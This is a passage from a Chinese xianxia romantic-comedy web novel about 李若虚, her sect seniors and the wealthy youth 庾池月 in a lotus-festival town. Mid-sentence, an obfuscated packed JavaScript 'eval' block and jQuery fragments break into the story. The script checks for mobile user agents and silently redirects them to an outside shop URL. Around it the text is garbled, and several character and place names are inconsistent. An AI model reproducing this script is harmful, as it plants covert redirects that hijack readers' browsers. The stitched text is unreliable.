“是、是我说错了吗,姐姐......”懵懂少年丝毫不知危险将至,还企图将无辜若虚拖下水。
除了金鲤,一车子视线明晃晃全落在她身上,再装死就说不过去了。
“哈哈,小孩不懂事。”李若虚笑得一脸干巴,“童言无忌,童言无忌,他这是在童言无忌呢。”
“姐姐,我——”
一道警告目光射过来,庾池月把“我不小了”四个字,不情不愿咽下去。
好消息,薛时雨大人有大量放过没眼力见的小孩了,坏消息——改针对上她了。
“那你来说。”薛时雨换了个轻松姿势,整个人朝后仰,半边身子都靠在车厢上,指骨随意搭在膝盖上,有一搭没一搭地敲,“你也觉得我可以做你叔叔吗?”
“老天保佑,你终于意识到了。”弄玉闻言冷哼,毫不客气嘲讽。
“李若虚?”
这根本不公平!弄玉说他,他屁都不敢放一声,轮到她了,就指着她一个手无缚鸡之力的弱女子欺负!而且她就不明白了,他都已经修仙了,想要什么相貌、年龄,自己微调啊。要乐意,他调成一个嗷嗷待哺的婴儿都成。
不过转头一想,一个白白嫩嫩的小团子,肉乎乎的手背在身后,连剑都拿不稳,却偏偏皱起眉,装着少年老成的样子训人,一时没忍住,就笑出声。
“你笑什么?”薛时雨脸一下就黑了。
好在天黑也看不太清,李若虚就当他是在撒娇。
“我笑你年纪大,会疼人。”
来,脆嘴,给我打烂她的果。
车厢诡异地安静了一秒。
李若虚已经微眸准备好迎接狂风暴雨,可罕见的,薛时雨放过了她。
他没再说话,只是就着这个姿势,眼睑下垂沉默了好一阵,也不知在想些什么。
李若虚哪有空管他在想什么,只满心欢喜自己又逃过一劫,对着庾池月,迅速开启下一轮话题。
“庾公子,方才在茶楼门口,你说你知道莲花祭的事,可否告知一二?”
“当然。”庾池月视线就没从李若虚脸上离开过,见正主终于注意到他,忙不迭高兴起来,“姐姐你对这感兴趣吗?莲花祭我出了大钱,没人比我更清楚。”
“姐姐,你想去看祭祀吗?”
李若虚:“嗯,其实你不必时时刻刻都喊我姐姐,你可以称呼我的名字,我叫李若虚。”
“好呀,若虚姐姐。”庾池月乖巧点头。
李若虚:“......”
"算了,你爱叫什么就叫什么吧。"
“谢谢若虚姐姐。”庾池月面上笑容扩大了些,继续软糯道:“咱们远坞镇可不止有祭祀呢,这个时节刚好盛夏,姐姐白日可以乘船去湖心看莲花,摘莲蓬。等祭祀用的戏楼建起来,我提前让人留好位置,到时候咱们一起——”
“到了。”
一道冰冷声音打断两人对话。
掀开车帘往外一看,果然见前方不远处,静静矗着一座古朴小院,门前屋檐下挂着两粒红灯笼,灯光昏暗,被风吹得一晃一晃,像黑暗中窥视的眼睛,怪瘆人的。
李若虚浑身都起了毛,犹犹豫豫不敢下来,耳边走神听着庾池月充满歉意的话。
“抱歉若虚姐姐,这别院我已经很久没来了。门前的灯笼是我姐姐出嫁时,为讨吉利放上去的,许是因为仆人偷懒,忘了取下来,等我回去就惩罚他们,姐姐你别怕。”
踌躇许久,眼前突然伸过来一只劲瘦有力的手臂,是那双被她夸过好看的手。几乎未多做思考,李若虚抬手便搭了上去,弄玉跟在她身后一起下来,顺带捅醒睡得天昏地暗的金鲤。
“若虚姐姐,天色已晚,我也要回家,就不送你们进去了,别院房间多,你们随意住就好。”庾池月把他们送到门口就停下,“等明日我再安排几个仆人过来伺候。”
“好的好的,多谢庾公子,你快回家吧,我们也要休息了。”全程只有金鲤友好搭理他。
庾池月马车一走,薛时雨就干脆利落甩袖,扔下三人,自己一人先进了门。
金鲤睡醒还在懵逼,“大师兄他怎么了?是怪我在车厢睡着了?”
“对呀。”弄玉阴阳怪气回他,也进了屋,“你为什么不问问你亲爱的小师姐呢?她没睡着,她在车里跟人聊了一路,她一定知道。”
金鲤:“小师姐?”
李若虚:“......”
忽略金鲤疑惑的眼神,她岔开话题。
“小金鱼,我买的糖人你一定没都吃完吧?”
*
怀揣着两串糖人,李若虚七上八下敲响薛时雨屋门。
“薛师兄,你在吗?”
连敲两三下,也没人理,她正想离开,就听房门“砰”地一声,从里头打开了。看见弄玉黑灯瞎火,从里面大摇大摆走出来,堪比史诗级八卦现场。
“把嘴巴合上去。”弄玉行至她身侧,不耐“啧”了一声,“是里头烛火刚好被风吹熄了。”说完又瞧向她胸前,毫不客气把两串糖人全掳走,边走边道:“多谢款待。”
速度快的,让李若虚追都没法追。
借着月光,薛时雨自然看清了这一幕。
这都叫什么事啊,李若虚突然不敢看他,只心虚尬笑,“不然......您现在去跟弄玉师姐打一架?”
“呵呵。”
也不知是跟谁学的,冷笑就呵呵。
所幸,薛时雨倒也没晾她太久,倚在门框不客气问,“找我何事?”
如人所见,她是来拿着小零食跟领导攀关系的,可现在小零食被其他部门同级领导给抢走了,按理说,这是他们管理层内部混乱导致的锅,可谁让这两人的官,一个比一个大,而她,只是一个可怜又无助的小虾米呢?
“薛师兄,我是来、来。”李若虚一拍脑袋,想到借口,“我是来问您明天有何工作安排的。”
“怎么?没跟你那位庾弟弟商量好?来问我做什么?我对这蒹葭镇又不熟。”
李若虚:“......”
八成是跟弄玉学的,都青出于蓝而胜于蓝了。
“可是我就想和师兄您一起。”
这下轮到薛时雨沉默了,好半天才低声道:“我不喜欢吃甜食。”
“理解理解。”李柔虚狗腿子十分上道,“那我明天给您带黄连。”
翌日,庾池月准时刷新在别院门口,把将要出门的一行四人拦了个正着。
“若虚姐姐!终于等到你们了!”
李柔虚已学会预判,见状,以迅雷不及掩耳之势拉远对方。
“若虚姐姐,你们今日去哪玩?”庾池月双眼亮晶晶,许是等了他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491713|202262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许久,连额上都浮了一层细汗,身上的莲花香愈发浓郁起来。
“我们今日还有要事要办,哎,如果你要跟着我们。”李若虚赶在他前头开口,“那事情肯定就没那么好办,你想,一个随随便便的茶楼伙计都认识你,你的名气想必一定很大了。”
“那是。”庾池月丝毫不知这是陷阱,还颇为自豪道:“我家是整个镇子上最有钱的,他们所有人看见了,都要给我几分面子。”
李若虚:“这就对了。”
“对......在哪?”庾池月傻傻问。
“你自己想想,有你在他们还能说真话吗?不都得奉承你一下?到时候,坏事也是好事了,你要再想听故事,听到的那就都是别人口中胡编乱造的了,你愿意听这样的故事吗?”
其实这段话也是胡编乱造的。
庾池雨埋头思索了一会,又咬着嘴唇,带点无措问,“可如果我不跟着姐姐,还能去哪儿呢?他们都不愿意跟我做朋友。”
李若虚都要痛骂自己三百回了,可想起两位祖宗,她肝颤了颤,还是昧着良心道:“你还可以给我们准备黄连呀。”
“姐姐爱喝黄连?”
“对。”
庾池月开心起来,“那我现在就回家,给姐姐准备很多很多黄连茶!”
骗走庾池月,李若虚马不停蹄回头去应付两位领导。
“您二位早啊,咱今天有何安排?”
薛时雨斜眼睨她,“你不是爱游湖赏花?今日就游湖赏花。”
得,气还没消。
*
远邬莲花闻名于世,每至夏初,四方旅人便纷纷前来,在此赏莲赋诗。这些知识,是昨日茶楼伙计透露的。
镇中心蒹葭浦便种了满湖的莲花。
四人走了约莫半盏茶功夫就到了。正值盛夏,暑意渐升,蒹葭浦边却凉风徐来,水气氤氲,扑面一股莲香混着泥土的湿润气息,直教人心旷神怡。
李若虚深吸口气,快步向前,眼前豁然开朗。好大一潭湖,水面宛若镜子,倒映着天光云影。湖中莲花竞相盛开,白的、粉的,错落有致,远远望去,宛若铺展开一片粉绿海洋。
“好......好多人啊。”金鲤望着眼前摩肩接踵的人群惊讶到说不出话。
“这才哪到哪啊,小兄弟。”旁边有人笑着接话,“从前没出事的时候,大清早,看花之人能从街头排到巷尾,你们怕是连挤都挤不进来。”
从前?是水妖出现之前?李若虚与薛时雨对视一眼,随后她轻扯了下金鲤衣袖,对方即刻会意,再追问下去,那老翁却说什么也不愿再开口了。
事已至此,只能暂时搁置。四人另去码头赁了条船,打算游湖赏玩,谁成想,那老船夫一见他们四人,脸色当场就变了,好说歹说也不愿再做他们生意。
“各位还是请回吧,老汉今日收摊了。”
李若虚看出古怪,只温温柔柔道:“老伯,这莲花我们今日是一定要看的,就算您不做我们的生意,我们也会去找其他人。老伯,我看出您是个厚道人家,这钱与其让别人赚,倒不如让您赚。您放心,若出了事,我们自行担责。”
那老船夫斟酌一会,叹口气,道:“也罢,我可以做你们生意,但你们中间有一个人不能上我这条船。”随后,他浑浊双眼依次扫过四人,锁定了其中一个。